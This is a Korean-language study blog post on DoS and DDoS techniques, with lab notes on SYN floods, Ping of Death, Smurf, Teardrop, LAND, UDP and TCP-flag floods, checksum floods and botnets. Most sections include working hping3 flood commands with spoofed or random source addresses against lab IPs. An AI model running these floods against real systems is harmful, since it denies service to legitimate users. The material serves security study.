Study Record

[리눅스 서버보안] Dos / DDos 와 공격 방식 - hping3 본문

서버보안/리눅스 서버보안

[리눅스 서버보안] Dos / DDos 와 공격 방식 - hping3

초코초코초코 2021. 12. 28. 13:02
728x90

1. DoS(Denial of Service) 공격(1:1)

공격자가 호스트의 H/W 또는 S/W 등을 무력하게 만들어 호스트에서 적법한 사용자의 서비스 요구를 거부하도록 만드는 일련의 과정이다.

 

2. DDoS(Distributed Denial of Service) 공격(N:1)

네트워크로 연결된 분산 환경에서 여러대의 컴퓨터를 이용하여 한대의 공격대상 시스템에 대한 DoS 공격 (EX: BotNet)

 

3. Remote Attack

3-1. SynFlooding 

IP Spoofing을 이용하여 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 방법이다.

# hping3 -S -a 192.168.10.250 192.168.10.100 -p 21 --flood

: 소스 아이피를 192.168.10.250 으로 속여 192.168.10.100 으로 포트는 21번으로 SynFlooding 공격을 한다.

 

3-2. Ping of Death

ping을 이용하여 ICMP 패킷을 정상적인 크기보다 매우 크게 만들어 네트워크를 통과할 때 공격 네트워크에 도달하기 위해서는 단편화(Fragementation)이 되는데 이러한 경우 공격 대상 시스템은 이렇게 작은 조각 패킷을 처리하기 위하여 많은 로드가 발생되게 되는데 이른 노린 공격 방법이다.

# ping -n 10000 -l 65500 <Vitim's IP>

# hping3 -1 -a 8.8.8.8 192.168.10.100 -i u1000 -d 65000

# hping3 -1 --rand-source 192.168.10.100 --flood -d 65000

-d  --data  :  data size

-1 : icmp mode

 

3-3. ICMP Smurfing

ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 기법으로 Broadcast 주소로 echo request를 보내서 대량의 echo reply가 임의의 주소로 집중되게 하는 원리를 이용했다. source 를 공격 대상 IP로 설정(IP Spoofing) 하고 대상자 네트워크를 목적지로 설정하면 대상자 네트워크대에 있는 pc만큼의 응답 패킷이 공격 대상 시스템을 향한다.

# hping3 -1 -a 192.168.10.100 192.168.10.255 --flood

 

※ 해결책

모든 라우터의 내부(LAN) interface 마다 Directed Broadcast 기능을 막아 준다. 자신의 내부 측(EX: 192.168.0.255)의 주소로 ICMP echo의 요청이 들어가지 못하도록 한다.

 

3-4. Bonk/Boink

프로토콜은 신뢰도를 확보(패킷 순서, 중간에 손실된 패킷)하기 위해서 반복적으로 재요구하고 수정을 하게 된다. 이를 이용하여 반복직인 재요구와 수정을 계속하게 함으로써 시스템 자원을 고갈시키는 방법이다. 현재는 통하지 않는다.

 

3-4-1. Bonk

처음 패킷을 1번으로 보낸 후 나머지 모두 시퀀스 넘버를 1번으로 조작하여 공격한다.

시퀸스 번호: 1, 1, 1, ...

# hping3 192.168.10.100 -Q  

 

Bonk Attack - wireshark

 

3-4-2. Boink - Bonk의 개량 버전

처음 패킷을 1번으로 보낸 후 두번째 패킷은 101, 세번째 패킷은 201번으로 정상적으로 보내다가 중간에서 일정한 시퀀스 넘버로 보낸 후 열번째 패킷은 1001, 열한번째 패킷도 1001, 열두번째 패킷도 1001번으로 전송한다.

시퀀스 번호: 1, 101, 201, 301, 301, 301, ...

 

3-4. TearDrop

 Teardrop IP 패킷의 전송이 잘게 나누어졌다가 다시 재 조합하는 과정의 약점을 악용한 공격이다. 패킷을 겹치게 또는 일정한 간격의 데이터가 빠지게 전송한다. 보통 IP 패킷은 하나의 큰 자료를 잘게 나누어서 보내게 되는데 이때 offset을 이용하여 나누었다가 도착지에서 offset을 이용하여 재 조합하게된다. 이때 동일한 offset을 겹치게 만들면 시스템은 교착되거나 충돌을 일으키거나 재기동된다. 과거 윈도우 95 버전에서 발생되었던 문제이다. 그러나 현재도 네트워크나 시스템에 큰 오버헤드를 발생시킨다.

시퀀스 번호: (UDP) 1, 5, 2, 4, 6, 7, 9, 7

# hping3 -1 192.168.10.100 -g 185 

: offset 값이 185 항상 동일하다게 보낸다.

 

3-5. LAND Attack

패킷을 전송할 때 출발지 IP 주소와 목적지 IP 주소값을 공격자의 IP 주소값으로 똑같이 만들어서 공격 대상에게 보낸다. 이 값은 자기 자신의 IP 주소 값이므로 네트워크 밖으로 나가지 않고 자신에게 다시 돌아온다. 이 공격 방법은 Syn Flooding 처럼 동시 사용자 수를 점유 해버리며 CPU 부하까지 올리게 된다. 현재 이 공격은 통하지 않는다.

# hping3 -1 -a 192.168.10.100 192.168.10.100 --flood

# hping3 -1 -a 192.168.10.100 192.168.10.100 -i u1000 -d 65000

 

Land Attack - wireshark

 

3-6. UDP Flooding

대역폭 고갈을 위한 공격을 가장 많이 사용되는 DoS, DDoS 공격으로 UDP BodyGarbage DataPadding 하여 공격한다. 현재도 통하는 공격이다.

# hping3 -2 192.168.20.200 -p 53 --flood 

# hping3 -2 --rand-source 192.168.20.200 -p 53 -i u100000 -d 65000

 

UDP Attack - wireshark

 

3-7. Out of Band Flooding

일반적인 TCP/IP 세션을 연결하기 위한 과정에서 발생하는 TCP Flag를 제외하거나 비정상적인 순서로 발생되는 Flag의 조합을 통한 DDoS, DoS 해킹 공격이다.

TCP Flag CMD
ACK hping3 -A 192.168.10.200 -p 21 --flood
PUSH  hping3 -P 192.168.10.200 -p 21 --flood
RST  hping3 -R 192.168.10.200 -p 21 --flood
URG hping3 -U 192.168.10.200 -p 21 --flood
XMAS hping3 -X 192.168.10.200 -p 21 --flood
FIN hping3 -F 192.168.10.200 -p 21 --flood
SYN hping3 -S 192.168.10.200 -p 21 --flood
SYN + ACK + PUSH + RST + URG + FIN hping3 -SAPRUF 192.168.10.200 -p 21 --flood

 

3-8. Checksum Error Flooding

Checksum은 패킷내에 하나의 필드로 구성하며 데이터를 이진수(Binary Number)의 연속으로 간주하여 그 이진수의 합을 계산하는 방법이다정확하지 않은 checksum값을 대량으로 보내 시스템이나 네트워크에 성능(Performance)에 영향을 미친다.

 

3-8-1. IP Checksum Error

IP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.

# ./ipchksum <소스IP> <타켓IP> <포트>

 

3-8-2. ICMP Checksum Error

ICMP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.

# ./icmpchecksum <소스IP> <타켓IP> <포트>

 

3-8-3. UDP Checksum Error

UDP 헤더의 checksum 값이 틀린 패킷을 다량으로 보내서 대상 서버를 다운시키거나 정상적인 서비스가 불가능하게 한다.

# ./udpchksum <target> <bcast file> <num packets> <packet delay> [dstport] [srcport] [psize]

 

3-9. botnet 

Robot의 줄임말로 감염된 컴퓨터(Zombie, Hacker Army, troop)는 공격자(Bot Master, Bot C & C)에 의해 조종됨. 취약한 서버들이 주로 C & C(Command and Control Server)로 악용된다. 주로 악성 프로그램 유포, 피싱/SPAM 메일 방송, 개인정보 유출, AdWare SpyWare 설치, 서비스 거부 공격(DoS)등 수행 한다.

 

 

728x90